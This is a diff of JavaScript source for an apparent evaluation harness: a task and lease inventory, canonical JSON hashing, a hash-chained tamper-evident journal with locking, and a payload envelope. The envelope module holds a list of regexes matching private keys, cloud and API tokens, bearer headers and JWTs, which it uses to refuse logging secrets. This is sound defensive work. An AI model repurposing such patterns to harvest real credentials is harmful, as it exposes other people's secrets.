warnings.push({ repoId: repo.id, tasks: [a.id, b.id], reasons, score: score.risk, channels: score.channels, action: 'review-declared-work' });
|
||||
}
|
||||
}
|
||||
}
|
||||
return warnings;
|
||||
}
|
||||
function buildInventory(input, options = {}) {
|
||||
const m = normalizeManifest(input);
|
||||
const now = timestamp(options.now || new Date().toISOString());
|
||||
const nowMs = Date.parse(now);
|
||||
const resources = options.resources || { memory: null, processStatus: 'not-requested', processes: [] };
|
||||
const processes = new Map(resources.processes.map(p => [p.pid, p]));
|
||||
const tasks = m.tasks.map(t => ({ ...t, heartbeat: heartbeat(t.heartbeatAt, nowMs),
|
||||
process: processes.has(t.pid) ? { ...processes.get(t.pid), state: 'observed' }
|
||||
: { state: t.pid && resources.processStatus === 'ok' ? 'not-observed' : 'unknown' }
|
||||
}));
|
||||
const leases = m.leases.map(l => ({ ...l, state: Date.parse(l.expiresAt) > nowMs ? 'unexpired' : 'expired', authority: 'declared-only' }));
|
||||
const active = new Map();
|
||||
for (const l of leases.filter(l => l.state === 'unexpired')) {
|
||||
active.set(l.resource, new Set([...(active.get(l.resource) || []), l.owner]));
|
||||
}
|
||||
const leaseConflicts = [...active].filter(([,owners]) => owners.size > 1)
|
||||
.map(([resource,owners]) => ({ resource, owners: [...owners].sort() })).sort((a,b) => a.resource < b.resource ? -1 : 1);
|
||||
return {
|
||||
version: 1, mode: 'read-only', observedAt: now, tasks, leases, leaseConflicts,
|
||||
...declarationInventory(m, nowMs),
|
||||
resources, warnings: proximityWarnings(m),
|
||||
coverage: { tasks: 'declared-or-status-files-only', workingSets: 'declared-paths-only', imports: 'provided-source-map-relative-js-ts-only', leases: 'declared-only', processes: 'declared-pids-only', ...m.declarationCoverage },
|
||||
limits: ['Score is a heuristic, not a calibrated probability.', 'No warning does not establish collision-free work.',
|
||||
'Goal/session states and native kind are caller declarations, not verified execution or authority.',
|
||||
'Open sessions, task status and observed PIDs do not establish an active native goal.',
|
||||
'Missing declarations and empty lists do not establish global absence; fresh declarations do not prove current execution.',
|
||||
'Stale heartbeat is not proof of a stuck process; PID reuse is not resolved.',
|
||||
'Import regex may match comments and misses aliases, nonliteral and non-JS imports.',
|
||||
'No semantic/PCA proximity or conflict-reduction claim is validated.',
|
||||
'Leases are observations, not locks or permission grants.']
|
||||
};
|
||||
}
|
||||
|
||||
function collectResources(tasks, deps = {}) {
|
||||
const memory = { totalBytes: (deps.totalmem || os.totalmem)(), freeBytes: (deps.freemem || os.freemem)(),
|
||||
source: 'os', note: 'OS free memory is not application headroom or macOS memory pressure.' };
|
||||
const pids = [...new Set(tasks.map(t => t.pid).filter(pid => Number.isSafeInteger(pid) && pid > 0))];
|
||||
if (!pids.length) return { memory, processStatus: 'not-requested', processes: [] };
|
||||
if (!['darwin', 'linux'].includes(deps.platform || process.platform)) return { memory, processStatus: 'unsupported', processes: [] };
|
||||
try {
|
||||
const result = (deps.execFileSync || execFileSync)('ps', ['-p', pids.join(','), '-o', 'pid=,ppid=,rss=,etime=,stat='],
|
||||
{ encoding: 'utf8', timeout: 2000, maxBuffer: 65536, shell: false, stdio: ['ignore','pipe','pipe'] });
|
||||
const processes = String(result).split('\n').filter(l => l.trim()).map(line => {
|
||||
const match = line.trim().match(/^(\d+)\s+(\d+)\s+(\d+)\s+([\d:-]+)\s+([A-Za-z+<>NsElLW]+)$/);
|
||||
if (!match) throw new Error('Invalid process metadata.');
|
||||
const values = match.slice(1,4).map(Number);
|
||||
if (values.some(v => !Number.isSafeInteger(v)) || !pids.includes(values[0])) throw new Error('Invalid process metadata.');
|
||||
return { pid: values[0], parentPid: values[1], rssBytes: values[2] * 1024, elapsed: match[4], flags: match[5] };
|
||||
});
|
||||
return { memory, processStatus: 'ok', processes };
|
||||
} catch { return { memory, processStatus: 'unavailable', processes: [] }; }
|
||||
}
|
||||
|
||||
function readBounded(file, limit = MAX_BYTES) {
|
||||
// Refuse symlink final components, devices and files beyond the byte budget.
|
||||
const fd = fs.openSync(file, fs.constants.O_RDONLY | fs.constants.O_NOFOLLOW | fs.constants.O_NONBLOCK);
|
||||
try {
|
||||
const stat = fs.fstatSync(fd);
|
||||
if (!stat.isFile() || stat.size > limit) throw new Error('Input exceeds file limit.');
|
||||
const buffer = Buffer.alloc(limit + 1);
|
||||
let size = 0; let count;
|
||||
do { count = fs.readSync(fd, buffer, size, buffer.length - size, null); size += count; } while (count && size < buffer.length);
|
||||
if (size > limit) throw new Error('Input exceeds file limit.');
|
||||
return { content: buffer.subarray(0,size).toString('utf8'), modifiedAt: stat.mtime.toISOString() };
|
||||
} finally { fs.closeSync(fd); }
|
||||
}
|
||||
function readJson(file) {
|
||||
try { return JSON.parse(readBounded(file).content); }
|
||||
catch (error) { throw new Error(error.message === 'Input exceeds file limit.' ? error.message : 'Cannot read coordination JSON.'); }
|
||||
}
|
||||
function collectTaskFiles(directory) {
|
||||
try {
|
||||
const entries = fs.readdirSync(directory, { withFileTypes: true }).filter(e => e.isDirectory() && !e.name.startsWith('.')).sort((a,b) => a.name < b.name ? -1 : 1);
|
||||
if (entries.length > 64) throw new Error('Too many task directories.');
|
||||
const tasks = []; const unreadable = [];
|
||||
for (const entry of entries) {
|
||||
let loaded = false;
|
||||
for (const name of ['STATUS.md', 'status.md']) {
|
||||
try {
|
||||
const data = readBounded(path.join(directory, entry.name, name), 65536);
|
||||
const parsed = parseWorkerStatus(data.content);
|
||||
let heartbeatAt = null;
|
||||
try { if (parsed.updated) heartbeatAt = timestamp(parsed.updated); } catch { /* Unknown timestamp, not a heartbeat. */ }
|
||||
tasks.push(normalizeTask({ id: entry.name, paths: [], status: parsed.state || 'unknown', heartbeatAt, statusFileModifiedAt: data.modifiedAt }));
|
||||
loaded = true; break;
|
||||
} catch { /* Try legacy lowercase status filename; report unreadable below. */ }
|
||||
}
|
||||
if (!loaded) unreadable.push(entry.name);
|
||||
}
|
||||
return { status: unreadable.length ? 'partial' : 'ok', tasks, unreadable };
|
||||
} catch { return { status: 'unavailable', tasks: [], unreadable: [] }; }
|
||||
}
|
||||
|
||||
module.exports = { normalizeManifest, buildInventory, collectResources, collectTaskFiles, readJson };
|
||||
@@ -0,0 +1,52 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Canonical JSON and hashing helpers shared by the eval-harness frameworks.
|
||||
*
|
||||
* Every hash in the capsule journal, the gate receipts, and the offline
|
||||
* receipts is computed over canonical JSON: object keys sorted recursively,
|
||||
* no whitespace, UTF-8. Two writers that agree on content therefore agree on
|
||||
* bytes, which is what makes projections and receipts reproducible.
|
||||
*/
|
||||
|
||||
const crypto = require('crypto');
|
||||
|
||||
function canonicalize(value) {
|
||||
if (value === null || typeof value !== 'object') {
|
||||
return value;
|
||||
}
|
||||
if (Array.isArray(value)) {
|
||||
return value.map(canonicalize);
|
||||
}
|
||||
const out = {};
|
||||
for (const key of Object.keys(value).sort()) {
|
||||
const item = value[key];
|
||||
if (item === undefined) {
|
||||
continue;
|
||||
}
|
||||
// Generic JSON keys are data, including __proto__; never invoke a setter.
|
||||
Object.defineProperty(out, key, {
|
||||
value: canonicalize(item), enumerable: true, writable: true, configurable: true,
|
||||
});
|
||||
}
|
||||
return out;
|
||||
}
|
||||
|
||||
function canonicalJson(value) {
|
||||
return JSON.stringify(canonicalize(value));
|
||||
}
|
||||
|
||||
function sha256Hex(input) {
|
||||
return crypto.createHash('sha256').update(input).digest('hex');
|
||||
}
|
||||
|
||||
function hashValue(value) {
|
||||
return sha256Hex(canonicalJson(value));
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
canonicalize,
|
||||
canonicalJson,
|
||||
sha256Hex,
|
||||
hashValue,
|
||||
};
|
||||
@@ -0,0 +1,410 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* Local execution capsule: an append-only, hash-linked NDJSON journal with
|
||||
* five typed lineages and a deterministic projection.
|
||||
*
|
||||
* Framework 2 of the eval-harness set. Properties the tests pin down:
|
||||
* - every entry links to its predecessor by sha256 (parent_hash);
|
||||
* - verify() fails closed at the exact entry for tamper, truncation, and
|
||||
* reordering, and reports a partial trailing write as truncation;
|
||||
* - project() rebuilds the same bytes from the same journal every time;
|
||||
* - exportBundle() copies the journal and projection only, never the
|
||||
* workspace the run touched.
|
||||
*
|
||||
* What this does not claim: a hash chain does not stop an operator who
|
||||
* replaces the whole log. Witnessing is a later, opt-in layer.
|
||||
*/
|
||||
|
||||
const crypto = require('crypto');
|
||||
const fs = require('fs');
|
||||
const path = require('path');
|
||||
|
||||
const { canonicalJson, hashValue, sha256Hex } = require('./canonical');
|
||||
const envelope = require('./envelope');
|
||||
|
||||
const JOURNAL_FILE = 'journal.ndjson';
|
||||
const PROJECTION_FILE = 'projection.json';
|
||||
const META_FILE = 'capsule.json';
|
||||
const APPEND_LOCK_FILE = '.append.lock';
|
||||
|
||||
class CapsuleError extends Error {
|
||||
constructor(code, message, details = {}) {
|
||||
super(message);
|
||||
this.name = 'CapsuleError';
|
||||
this.code = code;
|
||||
Object.assign(this, details);
|
||||
}
|
||||
}
|
||||
|
||||
function newId(prefix) {
|
||||
return `${prefix}-${crypto.randomBytes(8).toString('hex')}`;
|
||||
}
|
||||
|
||||
function nowIso(clock) {
|
||||
return (clock ? clock() : new Date()).toISOString();
|
||||
}
|
||||
|
||||
/** Validate metadata before persistence, and bind identity to every journal entry. */
|
||||
function metadataFailure(meta, entries = []) {
|
||||
const invalid = reason => ({ ok: false, code: 'capsule.metadata_invalid', reason, failed_at: null });
|
||||
if (!meta || typeof meta !== 'object' || Array.isArray(meta) || meta.schema !== envelope.SCHEMA_VERSION) {
|
||||
return invalid('capsule metadata has an invalid schema');
|
||||
}
|
||||
for (const field of ['run_id', 'capsule_id']) {
|
||||
if (typeof meta[field] !== 'string' || !envelope.ID_PATTERN.test(meta[field])) return invalid(`invalid metadata ${field}`);
|
||||
}
|
||||
for (const field of ['harness_version', 'task_family']) {
|
||||
if (typeof meta[field] !== 'string' || !meta[field].trim()) return invalid(`invalid metadata ${field}`);
|
||||
}
|
||||
const date = typeof meta.created_at === 'string' ? new Date(meta.created_at) : new Date(NaN);
|
||||
if (!Number.isFinite(date.getTime()) || date.toISOString() !== meta.created_at) return invalid('metadata created_at must be a canonical ISO timestamp');
|
||||
const fields = ['schema', 'run_id', 'capsule_id', 'harness_version', 'task_family'];
|
||||
for (const [index, entry] of entries.entries()) {
|
||||
if (fields.some(field => entry[field] !== meta[field])) {
|
||||
return { ok: false, code: 'capsule.metadata_mismatch', reason: `metadata identity differs from journal entry ${index}`, failed_at: index };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
function releaseOwnedLock(lockPath, fd, identity) {
|
||||
let inspectionDenied;
|
||||
try {
|
||||
// Keep the original descriptor open while checking ownership so its inode
|
||||
// cannot be reused. Preserve a replacement detected before release; this
|
||||
// check is not atomic against noncooperating filesystem mutation.
|
||||
if (identity) {
|
||||
let current;
|
||||
try { current = fs.lstatSync(lockPath); } catch (error) {
|
||||
if (error.code === 'ENOENT') throw new CapsuleError('capsule.lock_lost', 'append lock disappeared before release');
|
||||
if (error.code !== 'EPERM') throw error;
|
||||
inspectionDenied = error;
|
||||
}
|
||||
if (!inspectionDenied) {
|
||||
if (!current.isFile() || current.dev !== identity.dev || current.ino !== identity.ino) {
|
||||
throw new CapsuleError('capsule.lock_lost', 'append lock ownership changed before release');
|
||||
}
|
||||
fs.unlinkSync(lockPath);
|
||||
}
|
||||
}
|
||||
} finally {
|
||||
fs.closeSync(fd);
|
||||
}
|
||||
if (inspectionDenied) {
|
||||
// Windows may deny stat while a removed file awaits its last handle close.
|
||||
// Only confirmed absence changes the error. Never unlink after closing:
|
||||
// the pathname could now belong to another owner, even with a reused inode.
|
||||
try { fs.lstatSync(lockPath); } catch (error) {
|
||||
if (error.code === 'ENOENT') throw new CapsuleError('capsule.lock_lost', 'append lock disappeared before release');
|
||||
}
|
||||
throw inspectionDenied;
|
||||
}
|
||||
}
|
||||
|
||||
/** Exclusive cooperative append lock. Never waits or infers stale ownership. */
|
||||
function withAppendLock(dir, operation) {
|
||||
const lockPath = path.join(dir, APPEND_LOCK_FILE);
|
||||
let fd;
|
||||
try {
|
||||
fd = fs.openSync(lockPath, 'wx', 0o600);
|
||||
} catch (error) {
|
||||
if (error.code === 'EEXIST') throw new CapsuleError('capsule.busy', 'capsule append lock is already held');
|
||||
throw error;
|
||||
}
|
||||
let identity;
|
||||
try {
|
||||
identity = fs.fstatSync(fd);
|
||||
return operation();
|
||||
} finally {
|
||||
releaseOwnedLock(lockPath, fd, identity);
|
||||
}
|
||||
}
|
||||
|
||||
class Capsule {
|
||||
/**
|
||||
* @param {string} dir capsule root (created if missing)
|
||||
* @param {object} meta { run_id, capsule_id, harness_version, task_family }
|
||||
*/
|
||||
constructor(dir, meta, options = {}) {
|
||||
this.dir = path.resolve(dir);
|
||||
this.meta = meta;
|
||||
this.clock = options.clock || null;
|
||||
this.journalPath = path.join(this.dir, JOURNAL_FILE);
|
||||
this.lastHash = envelope.GENESIS_HASH;
|
||||
this.nextSeq = 0;
|
||||
}
|
||||
|
||||
static create(dir, options = {}) {
|
||||
const resolved = path.resolve(dir);
|
||||
if (fs.existsSync(path.join(resolved, META_FILE))) {
|
||||
throw new CapsuleError('capsule.exists', `capsule already exists at ${resolved}`);
|
||||
}
|
||||
const meta = {
|
||||
schema: envelope.SCHEMA_VERSION,
|
||||
run_id: options.run_id === undefined ? newId('run') : options.run_id,
|
||||
capsule_id: options.capsule_id === undefined ? newId('capsule') : options.capsule_id,
|
||||
harness_version: options.harness_version === undefined ? 'unknown' : options.harness_version,
|
||||
task_family: options.task_family === undefined ? 'unspecified' : options.task_family,
|
||||
created_at: nowIso(options.clock),
|
||||
};
|
||||
const failure = metadataFailure(meta);
|
||||
if (failure) throw new CapsuleError(failure.code, failure.reason);
|
||||
fs.mkdirSync(resolved, { recursive: true });
|
||||
fs.writeFileSync(path.join(resolved, META_FILE), canonicalJson(meta) + '\n', 'utf8');
|
||||
fs.writeFileSync(path.join(resolved, JOURNAL_FILE), '', 'utf8');
|
||||
return new Capsule(resolved, meta, options);
|
||||
}
|
||||
|
||||
static open(dir, options = {}) {
|
||||
const resolved = path.resolve(dir);
|
||||
const state = readCapsule(resolved);
|
||||
if (!state.ok) {
|
||||
throw new CapsuleError(state.code, state.reason, { failed_at: state.failed_at });
|
||||
}
|
||||
const capsule = new Capsule(resolved, state.meta, options);
|
||||
if (state.entries.length > 0) {
|
||||
const last = state.entries[state.entries.length - 1];
|
||||
capsule.lastHash = last.entry_hash;
|
||||
capsule.nextSeq = last.seq + 1;
|
||||
}
|
||||
return capsule;
|
||||
}
|
||||
|
||||
/**
|
||||
* Serialize cooperating appenders and validate current disk state under lock.
|
||||
* A partial I/O failure is preserved for diagnosis, never silently rolled back.
|
||||
*/
|
||||
append(lineage, kind, payload = {}, options = {}) {
|
||||
return withAppendLock(this.dir, () => {
|
||||
const state = readCapsule(this.dir);
|
||||
if (!state.ok) throw new CapsuleError(state.code, state.reason, { failed_at: state.failed_at });
|
||||
if (!envelope.LINEAGES.includes(lineage)) {
|
||||
throw new CapsuleError('capsule.bad_lineage', `unknown lineage ${lineage}`);
|
||||
}
|
||||
const effectClass = options.effect_class || 'SE0';
|
||||
const { payload: clean, dropped, findings, errors: payloadErrors } = envelope.redactPayload(payload, options);
|
||||
if (payloadErrors.length > 0) {
|
||||
throw new CapsuleError('capsule.payload_invalid', payloadErrors.join('; '));
|
||||
}
|
||||
if (findings.length > 0) {
|
||||
throw new CapsuleError('capsule.secret_canary', `payload tripped secret canary ${findings[0].canary} at ${findings[0].path}`, { findings });
|
||||
}
|
||||
if (dropped.length > 0 && options.strict !== false) {
|
||||
throw new CapsuleError('capsule.payload_denied', `payload keys not allowlisted: ${dropped.join(', ')}`, { dropped });
|
||||
}
|
||||
const body = {
|
||||
schema: envelope.SCHEMA_VERSION,
|
||||
run_id: state.meta.run_id,
|
||||
capsule_id: state.meta.capsule_id,
|
||||
seq: state.entries.length,
|
||||
ts: nowIso(this.clock),
|
||||
lineage,
|
||||
kind,
|
||||
effect_class: effectClass,
|
||||
harness_version: state.meta.harness_version,
|
||||
task_family: state.meta.task_family,
|
||||
parent_hash: state.root_hash,
|
||||
payload: clean,
|
||||
};
|
||||
const entry = { ...body, entry_hash: envelope.computeEntryHash(body) };
|
||||
const errors = envelope.validateEnvelope(entry);
|
||||
if (errors.length > 0) throw new CapsuleError('capsule.invalid_entry', errors.join('; '));
|
||||
const bytes = Buffer.from(canonicalJson(entry) + '\n', 'utf8');
|
||||
const fd = fs.openSync(this.journalPath, 'a');
|
||||
try {
|
||||
let offset = 0;
|
||||
while (offset < bytes.length) {
|
||||
const written = fs.writeSync(fd, bytes, offset, bytes.length - offset, null);
|
||||
if (written <= 0) throw new CapsuleError('capsule.write_failed', 'journal write made no progress');
|
||||
offset += written;
|
||||
}
|
||||
fs.fsyncSync(fd);
|
||||
} finally {
|
||||
fs.closeSync(fd);
|
||||
}
|
||||
// These fields remain observable for compatibility, but are never used as
|
||||
// authoritative append state. A preopened handle always reloads above.
|
||||
this.meta = state.meta;
|
||||
this.lastHash = entry.entry_hash;
|
||||
this.nextSeq = entry.seq + 1;
|
||||
return entry;
|
||||
});
|
||||
}
|
||||
|
||||
entries() {
|
||||
const state = readJournal(this.journalPath);
|
||||
if (!state.ok) {
|
||||
throw new CapsuleError(state.code, state.reason, { failed_at: state.failed_at });
|
||||
}
|
||||
return state.entries;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Read and verify a journal file. Never throws for content problems; the
|
||||
* result names the first failing entry index and a stable reason code.
|
||||
*/
|
||||
function readJournal(journalPath) {
|
||||
if (!fs.existsSync(journalPath)) {
|
||||
return { ok: false, code: 'capsule.missing_journal', reason: 'journal file missing', failed_at: null, entries: [] };
|
||||
}
|
||||
let bytes;
|
||||
try { bytes = fs.readFileSync(journalPath); } catch {
|
||||
return { ok: false, code: 'capsule.unreadable_journal', reason: 'journal file could not be read', failed_at: null, entries: [] };
|
||||
}
|
||||
const raw = bytes.toString('utf8');
|
||||
if (!bytes.equals(Buffer.from(raw, 'utf8'))) {
|
||||
return { ok: false, code: 'capsule.non_canonical', reason: 'journal is not valid UTF-8', failed_at: null, entries: [] };
|
||||
}
|
||||
const journalDigest = sha256Hex(bytes);
|
||||
const entries = [];
|
||||
if (raw.length === 0) {
|
||||
return { ok: true, entries, root_hash: envelope.GENESIS_HASH, journal_sha256: journalDigest };
|
||||
}
|
||||
if (!raw.endsWith('\n')) {
|
||||
const index = raw.split('\n').length - 1;
|
||||
return { ok: false, code: 'capsule.truncated_tail', reason: 'last entry is incomplete (no terminating newline)', failed_at: index, entries };
|
||||
}
|
||||
const lines = raw.slice(0, -1).split('\n');
|
||||
let expectedParent = envelope.GENESIS_HASH;
|
||||
for (let index = 0; index < lines.length; index += 1) {
|
||||
let entry;
|
||||
try {
|
||||
entry = JSON.parse(lines[index]);
|
||||
} catch (_error) {
|
||||
return { ok: false, code: 'capsule.corrupt_entry', reason: `entry ${index} is not valid JSON`, failed_at: index, entries };
|
||||
}
|
||||
const errors = envelope.validateEnvelope(entry);
|
||||
if (errors.length > 0) {
|
||||
return { ok: false, code: 'capsule.invalid_entry', reason: `entry ${index}: ${errors[0]}`, failed_at: index, entries };
|
||||
}
|
||||
if (entry.seq !== index) {
|
||||
return { ok: false, code: 'capsule.reordered', reason: `entry ${index} carries seq ${entry.seq}`, failed_at: index, entries };
|
||||
}
|
||||
if (entry.parent_hash !== expectedParent) {
|
||||
return { ok: false, code: 'capsule.broken_link', reason: `entry ${index} parent_hash does not match predecessor`, failed_at: index, entries };
|
||||
}
|
||||
if (canonicalJson(entry) !== lines[index]) {
|
||||
return { ok: false, code: 'capsule.non_canonical', reason: `entry ${index} is not canonical JSON`, failed_at: index, entries };
|
||||
}
|
||||
expectedParent = entry.entry_hash;
|
||||
entries.push(entry);
|
||||
}
|
||||
return { ok: true, entries, root_hash: expectedParent, journal_sha256: journalDigest };
|
||||
}
|
||||
|
||||
/** Read one journal snapshot and validate its capsule metadata. Never writes. */
|
||||
function readCapsule(dir) {
|
||||
const resolved = path.resolve(dir);
|
||||
const state = readJournal(path.join(resolved, JOURNAL_FILE));
|
||||
if (!state.ok) return state;
|
||||
let meta;
|
||||
try {
|
||||
const bytes = fs.readFileSync(path.join(resolved, META_FILE));
|
||||
const raw = bytes.toString('utf8');
|
||||
if (!bytes.equals(Buffer.from(raw, 'utf8'))) throw new Error('invalid UTF-8 metadata');
|
||||
meta = JSON.parse(raw);
|
||||
} catch {
|
||||
return { ...state, ok: false, code: 'capsule.metadata_invalid', reason: 'capsule metadata is missing, unreadable or corrupt', failed_at: null };
|
||||
}
|
||||
const failure = metadataFailure(meta, state.entries);
|
||||
if (failure) return { ...state, ...failure };
|
||||
return { ...state, meta, projection: projectState(meta, state) };
|
||||
}
|
||||
|
||||
function verify(dir) {
|
||||
const state = readCapsule(dir);
|
||||
return {
|
||||
ok: state.ok,
|
||||
code: state.ok ? 'ok' : state.code,
|
||||
reason: state.ok ? 'journal verified' : state.reason,
|
||||
failed_at: state.ok ? null : state.failed_at,
|
||||
entry_count: state.entries.length,
|
||||
root_hash: state.ok ? state.root_hash : null,
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Deterministic projection: the same journal always yields the same bytes.
|
||||
* Includes per-lineage counts, last seq, root hash, and the journal digest.
|
||||
*/
|
||||
function project(dir) {
|
||||
const state = readCapsule(dir);
|
||||
if (!state.ok) throw new CapsuleError(state.code, state.reason, { failed_at: state.failed_at });
|
||||
return state.projection;
|
||||
}
|
||||
|
||||
/** Derive the projection only from the metadata and journal snapshot just verified. */
|
||||
function projectState(meta, state) {
|
||||
const byLineage = {};
|
||||
for (const lineage of envelope.LINEAGES) {
|
||||
byLineage[lineage] = 0;
|
||||
}
|
||||
const byEffect = {};
|
||||
for (const effectClass of envelope.EFFECT_CLASSES) {
|
||||
byEffect[effectClass] = 0;
|
||||
}
|
||||
for (const entry of state.entries) {
|
||||
byLineage[entry.lineage] += 1;
|
||||
byEffect[entry.effect_class] += 1;
|
||||
}
|
||||
const projection = {
|
||||
schema: envelope.SCHEMA_VERSION,
|
||||
run_id: meta.run_id,
|
||||
capsule_id: meta.capsule_id,
|
||||
harness_version: meta.harness_version,
|
||||
task_family: meta.task_family,
|
||||
entry_count: state.entries.length,
|
||||
last_seq: state.entries.length === 0 ? null : state.entries.length - 1,
|
||||
root_hash: state.root_hash,
|
||||
journal_sha256: state.journal_sha256,
|
||||
by_lineage: byLineage,
|
||||
by_effect_class: byEffect,
|
||||
max_effect_class: maxEffectClass(state.entries),
|
||||
};
|
||||
return { ...projection, projection_hash: hashValue(projection) };
|
||||
}
|
||||
|
||||
function maxEffectClass(entries) {
|
||||
let rank = 0;
|
||||
for (const entry of entries) {
|
||||
rank = Math.max(rank, envelope.effectRank(entry.effect_class));
|
||||
}
|
||||
return envelope.EFFECT_CLASSES[rank];
|
||||
}
|
||||
|
||||
function writeProjection(dir) {
|
||||
const projection = project(dir);
|
||||
fs.writeFileSync(path.join(path.resolve(dir), PROJECTION_FILE), canonicalJson(projection) + '\n', 'utf8');
|
||||
return projection;
|
||||
}
|
||||
|
||||
/**
|
||||
* Export a minimal bundle: capsule.json, journal.ndjson, projection.json.
|
||||
* Workspace contents are never copied.
|
||||
*/
|
||||
function exportBundle(dir, outDir) {
|
||||
const resolved = path.resolve(dir);
|
||||
const target = path.resolve(outDir);
|
||||
fs.mkdirSync(target, { recursive: true });
|
||||
writeProjection(resolved);
|
||||
for (const name of [META_FILE, JOURNAL_FILE, PROJECTION_FILE]) {
|
||||
fs.copyFileSync(path.join(resolved, name), path.join(target, name));
|
||||
}
|
||||
return { dir: target, files: [META_FILE, JOURNAL_FILE, PROJECTION_FILE] };
|
||||
}
|
||||
|
||||
module.exports = {
|
||||
Capsule,
|
||||
CapsuleError,
|
||||
JOURNAL_FILE,
|
||||
PROJECTION_FILE,
|
||||
META_FILE,
|
||||
readJournal,
|
||||
readCapsule,
|
||||
verify,
|
||||
project,
|
||||
writeProjection,
|
||||
exportBundle,
|
||||
};
|
||||
@@ -0,0 +1,5 @@
|
||||
'use strict';
|
||||
|
||||
// Retired execution entrypoint. No JS interception or trust flag provides
|
||||
// OS containment; refuse before reading requests or loading candidate code.
|
||||
require('./gate').requireSupportedIsolation();
|
||||
@@ -0,0 +1,251 @@
|
||||
'use strict';
|
||||
|
||||
/**
|
||||
* capsule-envelope/v1: the portable record contract for one journal entry.
|
||||
*
|
||||
* Framework 1 of the eval-harness set (telemetry and capsule contract).
|
||||
* The envelope is deliberately small. It carries identity, lineage, effect
|
||||
* class, a hash link to its predecessor, and an allowlisted payload. Raw
|
||||
* secrets, credentials, and unrestricted reasoning text never enter the
|
||||
* default envelope: the payload passes through a default-deny property
|
||||
* allowlist and a secret canary scan before it is written.
|
||||
*/
|
||||
|
||||
const { hashValue } = require('./canonical');
|
||||
|
||||
const SCHEMA_VERSION = 'capsule-envelope/v1';
|
||||
|
||||
/** The five append-only lineages a capsule records. */
|
||||
const LINEAGES = Object.freeze(['plan', 'attempt', 'interaction', 'environment', 'strategy']);
|
||||
|
||||
/**
|
||||
* Side-effect classes, ordered from pure to irreversible.
|
||||
* SE0 read-only evaluation. SE1 reversible local writes inside a capsule root.
|
||||
* SE2 sandboxed process or filesystem mutation, no live network writes.
|
||||
* SE3 append-only remote evidence publication. SE4 economic or external effects.
|
||||
*/
|
||||
const EFFECT_CLASSES = Object.freeze(['SE0', 'SE1', 'SE2', 'SE3', 'SE4']);
|
||||
|
||||
const ID_PATTERN = /^[A-Za-z0-9][A-Za-z0-9._:-]{0,127}$/;
|
||||
const HASH_PATTERN = /^[0-9a-f]{64}$/;
|
||||
const GENESIS_HASH = '0'.repeat(64);
|
||||
|
||||
/** Scalar types mirror schemas/capsule-envelope.schema.json. */
|
||||
const PAYLOAD_TYPES = Object.freeze({
|
||||
task_id: 'string',
|
||||
task_family: 'string',
|
||||
tool: 'string',
|
||||
tool_call_id: 'string',
|
||||
args_hash: 'string',
|
||||
response_hash: 'string',
|
||||
status: 'string',
|
||||
exit_code: 'integer|null',
|
||||
duration_ms: 'number',
|
||||
tokens_in: 'integer',
|
||||
tokens_out: 'integer',
|
||||
cost_usd: 'number',
|
||||
model: 'string',
|
||||
message: 'string',
|
||||
note: 'string',
|
||||
decision: 'string',
|
||||
reason: 'string',
|
||||
score: 'number',
|
||||
passed: 'integer',
|
||||
failed: 'integer',
|
||||
total: 'integer',
|
||||
variant: 'string',
|
||||
digest: 'string',
|
||||
path: 'string',
|
||||
fixture_key: 'string',
|
||||
stage: 'string',
|
||||
verdict: 'string',
|
||||
hits: 'integer',
|
||||
branch_id: 'string',
|
||||
parent_branch_id: 'string',
|
||||
summary: 'string',
|
||||
});
|
||||
const DEFAULT_PAYLOAD_ALLOWLIST = Object.freeze(Object.keys(PAYLOAD_TYPES));
|
||||
const ENVELOPE_FIELDS = new Set([
|
||||
'schema', 'run_id', 'capsule_id', 'seq', 'ts', 'lineage', 'kind',
|
||||
'effect_class', 'harness_version', 'task_family', 'parent_hash', 'entry_hash', 'payload',
|
||||
]);
|
||||
|
||||
/**
|
||||
* Secret and credential canaries. A match anywhere in a payload string is
|
||||
* a hard refusal: the entry is not written and the caller sees which
|
||||
* canary fired. Patterns are intentionally broad and cheap.
|
||||
*/
|
||||
const SECRET_CANARIES = Object.freeze([
|
||||
{ name: 'private_key_block', pattern: /-----BEGIN [A-Z ]*PRIVATE KEY-----/ },
|
||||
{ name: 'aws_access_key', pattern: /\bAKIA[0-9A-Z]{16}\b/ },
|
||||
{ name: 'openai_style_key', pattern: /\bsk-[A-Za-z0-9_-]{20,}\b/ },
|
||||
{ name: 'github_token', pattern: /\bgh[pousr]_[A-Za-z0-9]{30,}\b/ },
|
||||
{ name: 'slack_token', pattern: /\bxox[abpr]-[A-Za-z0-9-]{10,}\b/ },
|
||||
{ name: 'stripe_key', pattern: /\b[sr]k_(?:live|test)_[A-Za-z0-9]{16,}\b/ },
|
||||
{ name: 'bearer_header', pattern: /\bBearer\s+[A-Za-z0-9._~+/=-]{20,}/ },
|
||||
{ name: 'jwt', pattern: /\beyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\b/ },
|
||||
{ name: 'env_assignment', pattern: /\b(?:API_KEY|SECRET|TOKEN|PASSWORD|PASSWD)\s*=\s*\S{8,}/i },
|
||||
]);
|
||||
|
||||
function scanForCanaries(value, findings = [], trail = '$') {
|
||||
if (typeof value === 'string') {
|
||||
for (const canary of SECRET_CANARIES) {
|
||||
if (canary.pattern.test(value)) {
|
||||
findings.push({ canary: canary.name, path: trail });
|
||||
}
|
||||
}
|
||||
return findings;
|
||||
}
|
||||
if (Array.isArray(value)) {
|
||||
value.forEach((item, index) => scanForCanaries(item, findings, `${trail}[${index}]`));
|
||||
return findings;
|
||||
}
|
||||
if (value && typeof value === 'object') {
|
||||
for (const key of Object.keys(value)) {
|
||||
scanForCanaries(value[key], findings, `${trail}.${key}`);
|
||||
}
|
||||
}
|
||||
return findings;
|
||||
}
|
||||
|
||||
function isPlainObject(value) {
|
||||
if (!value || typeof value !== 'object' || Array.isArray(value)) return false;
|
||||
const prototype = Object.getPrototypeOf(value);
|
||||
return prototype === Object.prototype || prototype === null;
|
||||
}
|
||||
|
||||
/** Inspect descriptors before reading values; this is not a boundary for proxies. */
|
||||
function dataObjectErrors(value, label) {
|
||||
if (!isPlainObject(value)) return [`${label} must be a plain data object`];
|
||||
const errors = [];
|
||||
for (const key of Reflect.ownKeys(value)) {
|
||||
